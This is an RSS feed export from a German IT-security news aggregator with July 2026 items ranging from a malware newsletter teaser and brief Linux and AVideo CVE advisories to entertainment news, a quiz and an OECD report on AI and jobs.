<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=chaos+engineering+missing+layer%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Wed, 29 Jul 2026 19:19:53 +0200</lastBuildDate>
<pubDate>Wed, 29 Jul 2026 19:19:53 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>
<image>
<url>https://tsecurity.de/favicon.ico</url>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=chaos+engineering+missing+layer%2F]]></link>
</image>
<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=chaos+engineering+missing+layer%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[SECURITY AFFAIRS MALWARE NEWSLETTER ROUND 107]]></title>
<description><![CDATA[Security Affairs Malware newsletter includes a collection of the best articles and research on malware in the international landscape Malware Newsletter UAC-0145 Primary Compromise Vectors as of July 2026   SleeperGem: Compromised git_credential_manager, Dendreo, and fastlane RubyGems Drop a Pers...]]></description>
<link>https://tsecurity.de/de/3695725/it-security-nachrichten/security-affairs-malware-newsletter-round-107/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695725/it-security-nachrichten/security-affairs-malware-newsletter-round-107/</guid>
<pubDate>Sun, 26 Jul 2026 16:17:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security Affairs Malware newsletter includes a collection of the best articles and research on malware in the international landscape Malware Newsletter UAC-0145 Primary Compromise Vectors as of July 2026   SleeperGem: Compromised git_credential_manager, Dendreo, and fastlane RubyGems Drop a Persistent Backdoor   AgentBaiting: How 800+ Fake AI Skills and MCP Servers Delivered Malware   Chaos ransomware’s msaRAT: Living […]]]></content:encoded>
</item>
<item>
<title><![CDATA[SECURITY AFFAIRS MALWARE NEWSLETTER ROUND 107]]></title>
<description><![CDATA[Security Affairs Malware newsletter includes a collection of the best articles and research on malware in the international landscape Malware Newsletter UAC-0145 Primary Compromise Vectors as of July 2026   SleeperGem: Compromised git_credential_manager, Dendreo, and fastlane RubyGems Drop a Pers...]]></description>
<link>https://tsecurity.de/de/3695709/hacking/security-affairs-malware-newsletter-round-107/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695709/hacking/security-affairs-malware-newsletter-round-107/</guid>
<pubDate>Sun, 26 Jul 2026 16:05:03 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security Affairs Malware newsletter includes a collection of the best articles and research on malware in the international landscape Malware Newsletter UAC-0145 Primary Compromise Vectors as of July 2026   SleeperGem: Compromised git_credential_manager, Dendreo, and fastlane RubyGems Drop a Persistent Backdoor   AgentBaiting: How 800+ Fake AI Skills and MCP Servers Delivered Malware   Chaos ransomware’s msaRAT: Living […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Comic-Con 2026 Debuts Trailers for 'Coyote vs Acme' Movie, Plus 'Neuromancer' and 'Blade Runner 2099' Series]]></title>
<description><![CDATA[Big news from Comic-Con 2026:

"Coyote vs. ACME" debuted its long-awaited final trailer. CNET calls it "an animation-meets-live-action story," with the Coyote catapulting into theaters this August 28. (The film began development back in 2018, but was shelved for a tax write-off in 2023 by Warner ...]]></description>
<link>https://tsecurity.de/de/3695323/it-security-nachrichten/comic-con-2026-debuts-trailers-for-coyote-vs-acme-movie-plus-neuromancer-and-blade-runner-2099-series/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695323/it-security-nachrichten/comic-con-2026-debuts-trailers-for-coyote-vs-acme-movie-plus-neuromancer-and-blade-runner-2099-series/</guid>
<pubDate>Sun, 26 Jul 2026 10:01:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Big news from Comic-Con 2026:

"Coyote vs. ACME" debuted its long-awaited final trailer. CNET calls it "an animation-meets-live-action story," with the Coyote catapulting into theaters this August 28. (The film began development back in 2018, but was shelved for a tax write-off in 2023 by Warner Bros. until a backlash led to its sale to Ketchup Entertainment.) "Fed up with Acme's unreliable products, Wile E. Coyote decides to hire a lawyer and sue the company..." writes CNET. "The movie also features Lana Condor along with a host of Looney Tunes characters like Porky Pig, Tweety, Foghorn Leghorn and Granny (who gets dinged by an anvil)."
In other movie news, CNET says Johnny Depp also "made a surprise appearance at Comic-Con, donning a costume as Ebenezer Scrooge" to promote his November 13 movie about the miser from Charles Dickens' famous Christmas novella. (Ian McKellen and Daisy Ridley are also in the movie.)


But several geek favorites are being filmed as TV series...

 There's big news for William Gibson fans, reports Entertainment Weekly. "Two years after Apple TV announced production on the first-ever series adaptation of William Gibson's seminal 1984 novel Neuromancer, the lucky few hundred who attended the studio's Hall H panel at Comic-Con 2026 got to watch the first teaser. 

For Amazon's Prime Video, the Tolkien-derived "Rings of Power" series released a season 3 trailer that CNET said "successfully hides the best parts with fire... The trailer suggests that Sauron is building an army, and all of Middle-earth is trying to find ways to stop him... Rings of Power season 3 will start dropping weekly episodes on Nov. 11, meaning this show will be airing at the same time the Peter Jackson films will be celebrating their 25th anniversary."
Later in November Amazon's Prime Video will also debut Blade Runner 2099, an eight-episode series that's a sequel to 2017's film Blade Runner 2049, reports CNET. "Set in an alternate version of LA where replicants run things and the humans play second fiddle, the series sees Yeoh's replicant Olwen chasing down outlaw replicants who've gone missing. With her own shelf life on a ticking clock, the stakes are high for her and for her human fugitive partner, Cora..."
Paramount Plus will debut Avatar: Seven Havens in October, a new animated series from the creators of Avatar: The Last Airbender which CNET says "follows a pair of twin avatars, one of whom is Korra's successor."

Disney+ has season 3 of Percy Jackson and the Olympians.
Kevin Feige said Marvel's television slate will include more seasons of "X-Men '97" and the upcoming "VisionQuest" TV series.
HBO Max will launch a new Green Lantern series called Lanterns on August 16.
<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Comic-Con+2026+Debuts+Trailers+for+'Coyote+vs+Acme'+Movie%2C+Plus+'Neuromancer'+and+'Blade+Runner+2099'+Series%3A+https%3A%2F%2Fentertainment.slashdot.org%2Fstory%2F26%2F07%2F26%2F038200%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fentertainment.slashdot.org%2Fstory%2F26%2F07%2F26%2F038200%2Fcomic-con-2026-debuts-trailers-for-coyote-vs-acme-movie-plus-neuromancer-and-blade-runner-2099-series%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://entertainment.slashdot.org/story/26/07/26/038200/comic-con-2026-debuts-trailers-for-coyote-vs-acme-movie-plus-neuromancer-and-blade-runner-2099-series?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Agent Kim Reactivated Season 2: Is Another Season Happening? Here’s What We Know]]></title>
<description><![CDATA[Agent Kim Reactivated Season 2 has not been officially confirmed, but the Season 1 finale leaves Kim Do-hyeon in a strong position to return for another dangerous mission.



The Korean action drama completed its first season on July 25, 2026, after releasing two episodes each Friday and Saturday...]]></description>
<link>https://tsecurity.de/de/3695255/ios-mac-os/agent-kim-reactivated-season-2-is-another-season-happening-heres-what-we-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695255/ios-mac-os/agent-kim-reactivated-season-2-is-another-season-happening-heres-what-we-know/</guid>
<pubDate>Sun, 26 Jul 2026 09:08:51 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Agent Kim Reactivated Season 2 has not been officially confirmed, but the Season 1 finale leaves Kim Do-hyeon in a strong position to return for another dangerous mission.



The Korean action drama completed its first season on July 25, 2026, after releasing two episodes each Friday and Saturday. The finale ended its run as the most-watched drama of 2026 in South Korea, giving SBS and Netflix a strong reason to consider another season.




Season 2 status: Not officially renewed



Possible release date: Late 2027 or 2028, depending on renewal and production



Season 1 release: June 26 to July 25, 2026



Episodes: 10



Genre: Action, crime, spy thriller and comedy



Streaming platform: Netflix



Main cast: So Ji-sub, Choi Dae-hoon, Yoon Kyung-ho and Joo Sang-wook




Netflix describes the series as an action drama about an ordinary father who brings back his black-ops skills after his daughter disappears. The show is based on the Manager Kim webtoon and mixes family drama with espionage, chases and close-combat action.



Where could the story go in Season 2?



Spoilers for the Agent Kim Reactivated Season 1 finale follow.



Season 1 follows bank manager Kim Do-hyeon as he searches for his missing daughter, Min-ji. His investigation forces him to reveal that he once worked as a highly trained North Korean operative before building a quiet life in South Korea.



Do-hyeon eventually confronts Joo Kang-chan, bringing their long and violent history to a final showdown. However, the last episode does more than close the kidnapping storyline. It shows Do-hyeon beginning a new chapter and attending an employment interview connected to Baekho, directly opening the door for another season.



Agent Kim Reactivated Season 2 could follow Do-hyeon as he accepts professional missions instead of returning fully to his normal banking job. Baekho could recruit him for rescue operations involving missing people, criminal groups or former intelligence agents.



The next season could also expand the roles of Park Jin-cheol and Han-soo. Their skills and history would allow the show to form a larger team around Do-hyeon while introducing a new enemy connected to his earlier life.



When will Season 2 be announced?



SBS has not announced a renewal or production schedule. However, the finale’s strong ratings and clear continuation scene make a second season possible. A decision could depend on cast availability, Netflix performance and whether the writers have another completed storyline.



Would you watch Agent Kim Reactivated Season 2, and what mission should Manager Kim take on next? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[What links Horrible Histories and Gordon Brown’s neighbour? The bumper summer quiz]]></title>
<description><![CDATA[From award-winning Julies to golfers who were nearly the best, test your knowledge with this bumper summer quiz1 What is now the world’s most populous city, according to the UN?2 Which two Julies won best actress Oscars in consecutive years?3 What was thrown by the goddess Eris at the wedding of ...]]></description>
<link>https://tsecurity.de/de/3695219/it-nachrichten/what-links-horrible-histories-and-gordon-browns-neighbour-the-bumper-summer-quiz/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695219/it-nachrichten/what-links-horrible-histories-and-gordon-browns-neighbour-the-bumper-summer-quiz/</guid>
<pubDate>Sun, 26 Jul 2026 08:15:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>From award-winning Julies to golfers who were nearly the best, test your knowledge with this bumper summer quiz</p><p><strong>1</strong> What is now the world’s most populous city, according to the UN?<br><strong>2</strong> Which two Julies won best actress Oscars in consecutive years?<br><strong>3</strong> What was thrown by the goddess Eris at the wedding of Peleus and Thetis?<br><strong>4</strong> Richard Nixon appeared a record 55 times on the cover of what?<br><strong>5</strong> What became Britain’s tallest structure in 1894?<br><strong>6</strong> Mojang Studios in Sweden is renowned for developing which video game?<br><strong>7</strong> Which golfer spent 270 weeks as world No 2, but never reached No 1?<br><strong>8</strong> Which “The” group, named after a Camus novel, went through over 65 members?<br><strong>9</strong> Who is the subject of Alberto Korda’s photograph Guerrillero Heroico?<br><strong>10</strong> What defines an Olimpico goal in football?<br><strong>11</strong> Who initiated the Fridays for Future school strikes?<br><strong>12</strong> Which British dynasty is commemorated by a monument in St Peter’s Basilica?<br><strong>13</strong> What type of souvenir was invented in Vienna in 1900?<br><strong>14</strong> Which Norwegian island gives its name to two shipping forecast areas?<br><strong>15</strong> Which art museum employs a colony of cats to protect it from rodents?<br><strong>16</strong> Millvina Dean, who died in 2009, was the last living survivor of what?<br><strong>What</strong> <strong>links:<br>
  17</strong> Arrival of spring; double portraits; swimming pools; Grand Canyon; Yorkshire landscape?<br><strong>18</strong> Mozart &amp; Franz Süssmayr; Landseer &amp; Millais; F Scott Fitzgerald &amp; Edmund Wilson?<br><strong>19</strong> Cordelia, Goneril &amp; Regan; Imogen; Marina?<br><strong>20</strong> Britannia (1717-1936); Golden Hind (1937-69); St Edward’s Crown (1971-84)?<br><strong>21</strong> Alba white truffles; Pule cheese; Wagyu beef; Yubari King melons?<br><strong>22</strong> Matt Damon; Robert Frost; Bill Gates; Bonnie Raitt; Mark Zuckerberg?<br><strong>23</strong> Horrible Histories; glucose; Gordon Brown’s neighbour; King-Smith’s swine; winter squash?<br><strong>24</strong> Mount Whitney in California and Mulhacén in Andalucía?<br><strong>25</strong> 1991 defence of Baghdad; nacre; UK parliament; Virginia?<br><strong>26</strong> Carrying a double bass; missing a bus; walking two dogs; wearing a cowboy hat; winding a clock?<br><strong>27</strong> 2 (1st); 29 (10th); 541 (100th); 7,919 (1,000th); 104,729 (10,000th)?<br><strong>28</strong> Ant; bull; cuckoo; eagle; shower of gold; swan?<br><strong>29</strong> Zlín, Czechoslovakia; Cohutta, US; Novo Mesto, Yugoslavia?<br><strong>30</strong> Drowned; large bread; pick me up; half cold?</p> <a href="https://www.theguardian.com/games/2026/jul/26/what-links-horrible-histories-and-gordon-browns-neighbour-the-bumper-summer-quiz">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows 11: Microsoft macht den nächsten Schritt – Nutzer müssen sich umstellen]]></title>
<description><![CDATA[Microsoft räumt weiter mit dem Design-Chaos von Windows 11 auf – jetzt ist ein Urgestein an der Reihe.]]></description>
<link>https://tsecurity.de/de/3695210/downloads/windows-11-microsoft-macht-den-naechsten-schritt-nutzer-muessen-sich-umstellen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695210/downloads/windows-11-microsoft-macht-den-naechsten-schritt-nutzer-muessen-sich-umstellen/</guid>
<pubDate>Sun, 26 Jul 2026 08:07:00 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft räumt weiter mit dem Design-Chaos von Windows 11 auf – jetzt ist ein Urgestein an der Reihe.]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows 11: Microsoft macht den nächsten Schritt – Nutzer müssen sich umstellen]]></title>
<description><![CDATA[Microsoft räumt weiter mit dem Design-Chaos von Windows 11 auf – jetzt ist ein Urgestein an der Reihe.]]></description>
<link>https://tsecurity.de/de/3695208/it-nachrichten/windows-11-microsoft-macht-den-naechsten-schritt-nutzer-muessen-sich-umstellen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695208/it-nachrichten/windows-11-microsoft-macht-den-naechsten-schritt-nutzer-muessen-sich-umstellen/</guid>
<pubDate>Sun, 26 Jul 2026 08:00:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft räumt weiter mit dem Design-Chaos von Windows 11 auf – jetzt ist ein Urgestein an der Reihe.]]></content:encoded>
</item>
<item>
<title><![CDATA[Cathedral sammelt 160 Mio. US-Dollar für KI-gestärkte Cyber-Fähigkeiten in der US-Verteidigung]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Die KI-Cyber-Startup Cathedral hat 160 ... Security Engineering seit Jahren sichtbar ist: Die Differenzierung ...]]></description>
<link>https://tsecurity.de/de/3695158/it-security-nachrichten/cathedral-sammelt-160-mio-us-dollar-fuer-ki-gestaerkte-cyber-faehigkeiten-in-der-us-verteidigung/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695158/it-security-nachrichten/cathedral-sammelt-160-mio-us-dollar-fuer-ki-gestaerkte-cyber-faehigkeiten-in-der-us-verteidigung/</guid>
<pubDate>Sun, 26 Jul 2026 06:46:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[LONDON (<b>IT</b> BOLTWISE) – Die KI-<b>Cyber</b>-Startup Cathedral hat 160 ... <b>Security</b> Engineering seit Jahren sichtbar ist: Die Differenzierung ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Patientensteuerung: KBV warnt vor Chaos durch 90 verschiedene Apps - ad-hoc-news.de]]></title>
<description><![CDATA[Aktuelle Cyber Security Trends jetzt kostenlos ... IT-Sicherheit ohne teure Investitionen stärken und Sicherheitslücken effektiv schließen.]]></description>
<link>https://tsecurity.de/de/3695159/it-security-nachrichten/patientensteuerung-kbv-warnt-vor-chaos-durch-90-verschiedene-apps-ad-hoc-newsde/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695159/it-security-nachrichten/patientensteuerung-kbv-warnt-vor-chaos-durch-90-verschiedene-apps-ad-hoc-newsde/</guid>
<pubDate>Sun, 26 Jul 2026 06:46:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Aktuelle <b>Cyber Security</b> Trends jetzt kostenlos ... <b>IT</b>-<b>Sicherheit</b> ohne teure Investitionen stärken und Sicherheitslücken effektiv schließen.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-34737 | WWBN AVideo up to 26.0 Endpoint test.php retrieveSubscriptions authorization (GHSA-38rh-4v39-vfxv)]]></title>
<description><![CDATA[A vulnerability was found in WWBN AVideo up to 26.0. It has been declared as problematic. Affected by this issue is the function retrieveSubscriptions of the file test.php of the component Endpoint. Such manipulation leads to missing authorization.

This vulnerability is uniquely identified as CV...]]></description>
<link>https://tsecurity.de/de/3695093/sicherheitsluecken/cve-2026-34737-wwbn-avideo-up-to-260-endpoint-testphp-retrievesubscriptions-authorization-ghsa-38rh-4v39-vfxv/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695093/sicherheitsluecken/cve-2026-34737-wwbn-avideo-up-to-260-endpoint-testphp-retrievesubscriptions-authorization-ghsa-38rh-4v39-vfxv/</guid>
<pubDate>Sun, 26 Jul 2026 06:36:17 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/wwbn:avideo">WWBN AVideo up to 26.0</a>. It has been declared as <a href="https://vuldb.com/kb/risk">problematic</a>. Affected by this issue is the function <code>retrieveSubscriptions</code> of the file <em>test.php</em> of the component <em>Endpoint</em>. Such manipulation leads to missing authorization.

This vulnerability is uniquely identified as <a href="https://vuldb.com/cve/CVE-2026-34737">CVE-2026-34737</a>. The attack can be launched remotely. No exploit exists.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-64503 | Linux Kernel up to 7.2-rc2 kxsd9 kxsd9_write_raw release of resource (EUVD-2026-48847)]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, was found in Linux Kernel up to 7.2-rc2. This affects the function kxsd9_write_raw of the component kxsd9. Executing a manipulation can lead to missing release of resource.

This vulnerability appears as CVE-2026-64503. The attack may be perfo...]]></description>
<link>https://tsecurity.de/de/3695083/sicherheitsluecken/cve-2026-64503-linux-kernel-up-to-72-rc2-kxsd9-kxsd9writeraw-release-of-resource-euvd-2026-48847/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695083/sicherheitsluecken/cve-2026-64503-linux-kernel-up-to-72-rc2-kxsd9-kxsd9writeraw-release-of-resource-euvd-2026-48847/</guid>
<pubDate>Sun, 26 Jul 2026 06:36:15 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">problematic</a>, was found in <a href="https://vuldb.com/product/linux:kernel">Linux Kernel up to 7.2-rc2</a>. This affects the function <code>kxsd9_write_raw</code> of the component <em>kxsd9</em>. Executing a manipulation can lead to missing release of resource.

This vulnerability appears as <a href="https://vuldb.com/cve/CVE-2026-64503">CVE-2026-64503</a>. The attack may be performed from remote. There is no available exploit.

You should upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-64499 | Linux Kernel up to 6.12.95/6.18.38/7.1.3/7.2-rc2 ADC ads1119_triggered_buffer_preenable release of resource (EUVD-2026-48843)]]></title>
<description><![CDATA[A vulnerability classified as problematic was found in Linux Kernel up to 6.12.95/6.18.38/7.1.3/7.2-rc2. Affected by this vulnerability is the function ads1119_triggered_buffer_preenable of the component ADC. Such manipulation leads to missing release of resource.

This vulnerability is documente...]]></description>
<link>https://tsecurity.de/de/3695079/sicherheitsluecken/cve-2026-64499-linux-kernel-up-to-612956183871372-rc2-adc-ads1119triggeredbufferpreenable-release-of-resource-euvd-2026-48843/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695079/sicherheitsluecken/cve-2026-64499-linux-kernel-up-to-612956183871372-rc2-adc-ads1119triggeredbufferpreenable-release-of-resource-euvd-2026-48843/</guid>
<pubDate>Sun, 26 Jul 2026 06:36:14 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> was found in <a href="https://vuldb.com/product/linux:kernel">Linux Kernel up to 6.12.95/6.18.38/7.1.3/7.2-rc2</a>. Affected by this vulnerability is the function <code>ads1119_triggered_buffer_preenable</code> of the component <em>ADC</em>. Such manipulation leads to missing release of resource.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2026-64499">CVE-2026-64499</a>. The attack can be executed remotely. There is not any exploit available.

Upgrading the affected component is advised.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-64494 | Linux Kernel up to 7.2-rc2 iio light gp2ap002 gp2ap002_read_raw release of resource (EUVD-2026-48838)]]></title>
<description><![CDATA[A vulnerability labeled as critical has been found in Linux Kernel up to 7.2-rc2. This issue affects the function gp2ap002_read_raw of the component iio light gp2ap002. Such manipulation leads to missing release of resource.

This vulnerability is listed as CVE-2026-64494. The attack may be perfo...]]></description>
<link>https://tsecurity.de/de/3695049/sicherheitsluecken/cve-2026-64494-linux-kernel-up-to-72-rc2-iio-light-gp2ap002-gp2ap002readraw-release-of-resource-euvd-2026-48838/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695049/sicherheitsluecken/cve-2026-64494-linux-kernel-up-to-72-rc2-iio-light-gp2ap002-gp2ap002readraw-release-of-resource-euvd-2026-48838/</guid>
<pubDate>Sun, 26 Jul 2026 06:36:08 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability labeled as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/linux:kernel">Linux Kernel up to 7.2-rc2</a>. This issue affects the function <code>gp2ap002_read_raw</code> of the component <em>iio light gp2ap002</em>. Such manipulation leads to missing release of resource.

This vulnerability is listed as <a href="https://vuldb.com/cve/CVE-2026-64494">CVE-2026-64494</a>. The attack may be performed from remote. There is no available exploit.

The affected component should be upgraded.]]></content:encoded>
</item>
<item>
<title><![CDATA[Ukraine's new Marichka AI targets the one layer of its war stack that Palantir still owns]]></title>
<description><![CDATA[Ukraine says testing shows Marichka AI can cut battle planning from 12 hours to minutes, allowing for faster, actionable goals]]></description>
<link>https://tsecurity.de/de/3694983/it-nachrichten/ukraines-new-marichka-ai-targets-the-one-layer-of-its-war-stack-that-palantir-still-owns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694983/it-nachrichten/ukraines-new-marichka-ai-targets-the-one-layer-of-its-war-stack-that-palantir-still-owns/</guid>
<pubDate>Sun, 26 Jul 2026 06:31:00 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ukraine says testing shows Marichka AI can cut battle planning from 12 hours to minutes, allowing for faster, actionable goals]]></content:encoded>
</item>
<item>
<title><![CDATA[OECD: Physical labor isn’t immune from AI disruptions]]></title>
<description><![CDATA[Jobs involving physical labor are at high risk of disruption from automation, with new technologies such as AI robots becoming more prevalent, according to a recent study by the Organization for Economic Co-operation and Development (OECD). That means workers in construction and extraction, farmi...]]></description>
<link>https://tsecurity.de/de/3694778/ai-nachrichten/oecd-physical-labor-isnt-immune-from-ai-disruptions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694778/ai-nachrichten/oecd-physical-labor-isnt-immune-from-ai-disruptions/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Jobs involving physical labor are at high risk of disruption from automation, with new technologies such as AI robots becoming more prevalent, <a href="https://www.oecd.org/en/publications/skills-in-the-ai-age_972bd15e-en.html" target="_blank" rel="noreferrer noopener">according to a recent study</a> by the Organization for Economic Co-operation and Development (OECD). That means workers in construction and extraction, farming, fishing, forestry, production and material transportation could be affected by fast-moving technology changes.</p>



<p class="wp-block-paragraph">“Routine and low-skilled jobs are at higher risk,” the Paris-based public policy group said, adding that “overall, jobs requiring non-routine cognitive, social and creative skills are less susceptible to automation.”</p>



<p class="wp-block-paragraph">The kinds of creative and cognitive jobs still thought to be less exposed to automation include social work and community service roles. </p>



<p class="wp-block-paragraph">OECD also said management jobs — which often require workers to devise creative answers to solve problems — fall within the creative and cognitive category. “While AI has made some high-skill job requirements more susceptible to automation, many critical skills in these roles remain difficult to automate,” OECD said.</p>



<p class="wp-block-paragraph">The same still holds true for some physical and manual labor jobs – including cleaners, agricultural workers, food-prep assistants, and laborers — which are less exposed to the affects of AI, OECD said.  </p>



<p class="wp-block-paragraph">But people who work in programming, translating and interpretation positions could find their work affected by the quick rise of AI tools and services. According to the organization, global AI uptake rose from 7% in 2021 to 20% in 2025.</p>



<p class="wp-block-paragraph">“In these occupations, GenAI could perform a significant share of tasks at least twice as fast today or in the near future,” OECD said.</p>



<p class="wp-block-paragraph">The effects of the AI boom are not always uniform across industries or regions. In a separate <a href="https://www.oecd.org/en/publications/oecd-employment-outlook-2026_7e710f54-en.html" target="_blank" rel="noreferrer noopener">2026 Employment Outlook study</a> released by the group, exposure to disruption from generative AI (genAI) ranges from about 16% in some areas to more than 70% elsewhere, depending on industries and occupations. </p>



<p class="wp-block-paragraph">Numerous research firms have said in recent years that <a href="https://www.computerworld.com/article/4151328/ai-threatens-jobs-that-can-be-unbundled-2.html">AI is driving short-term job losses</a>, though tech industry experts and analysts have argued AI will also create new careers and jobs as <a href="https://www.computerworld.com/article/4100257/mit-creates-an-ai-labor-index-as-agents-invade-human-economies.html">agentic AI takes over low-skilled work</a>. </p>



<p class="wp-block-paragraph">AI technology has become so ubiquitous that it’s been compared to electricity — virtually all companies will need it or at least know how to use it. But it’s adoption has been hindered at times as companies struggle to find ROI from its use, and by regulatory and ethical hurdles.</p>



<h2 class="wp-block-heading">In the US, AI blamed for June job losses</h2>



<p class="wp-block-paragraph">According to a <a href="https://www.challengergray.com/wp-content/uploads/2026/07/Challenger-Report-June2600986996.pdf" target="_blank" rel="noreferrer noopener">Challenger, Gray &amp; Christmas study</a> released earlier this month, AI was cited as the top reason for job cuts in June. The outplacement firm said employers cut 45,849 job cuts in June, of which 14,029 were attributed to AI, with the tech industry leading the cuts.</p>



<p class="wp-block-paragraph">“Tech remains the epicenter of this year’s cuts,” Challenger said. “AI is the dominant force as companies are restructuring around it, automating roles, and reallocating budgets toward new capabilities. The sector is being reshaped in real time.”</p>



<p class="wp-block-paragraph">Overall, AI has been responsible for 173,568 job cuts since 2021, the company said.</p>



<p class="wp-block-paragraph">AI is hurting jobs in customer service, internal reporting, telecommunications, and hosting automation, said Victor Janulaitis, a staffing consultant who was formerly CEO at Janco Associates Inc.</p>



<p class="wp-block-paragraph">“C-level executives continue to be focused on eliminating ‘non-essential’ managers, staff, and services,” he said. “Coders and developers have limited opportunities with legacy applications.”</p>



<p class="wp-block-paragraph">While jobs in the IT sector overall are declining, current hiring tends to skew in the direction of people with AI skills. A <a href="https://www.comptia.org/en/resources/research/tech-jobs-report/" target="_blank" rel="noreferrer noopener">report this month by CompTIA</a> put job listings with AI skills at around 500,000, which is close to double the number in January.</p>



<p class="wp-block-paragraph">“Employers in other industries are accelerating digital transformation initiatives and moving from AI experimentation to implementation,” said Seth Robinson, CompTIA’s vice president for industry research.</p>



<p class="wp-block-paragraph">That view dovetails with what ManpowerGroup, the recruitment firm, is seeing; demand for AI-related skills has nearly doubled over the past year, said Ger Doyle, regional president of North America at ManpowerGroup.</p>



<p class="wp-block-paragraph">That growth extends well beyond traditional technology roles as companies move from experimenting to AI deployments at scale, Doyle said. “We’re seeing it influence hiring across occupations ranging from data science and engineering to project management and operational roles,” he said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
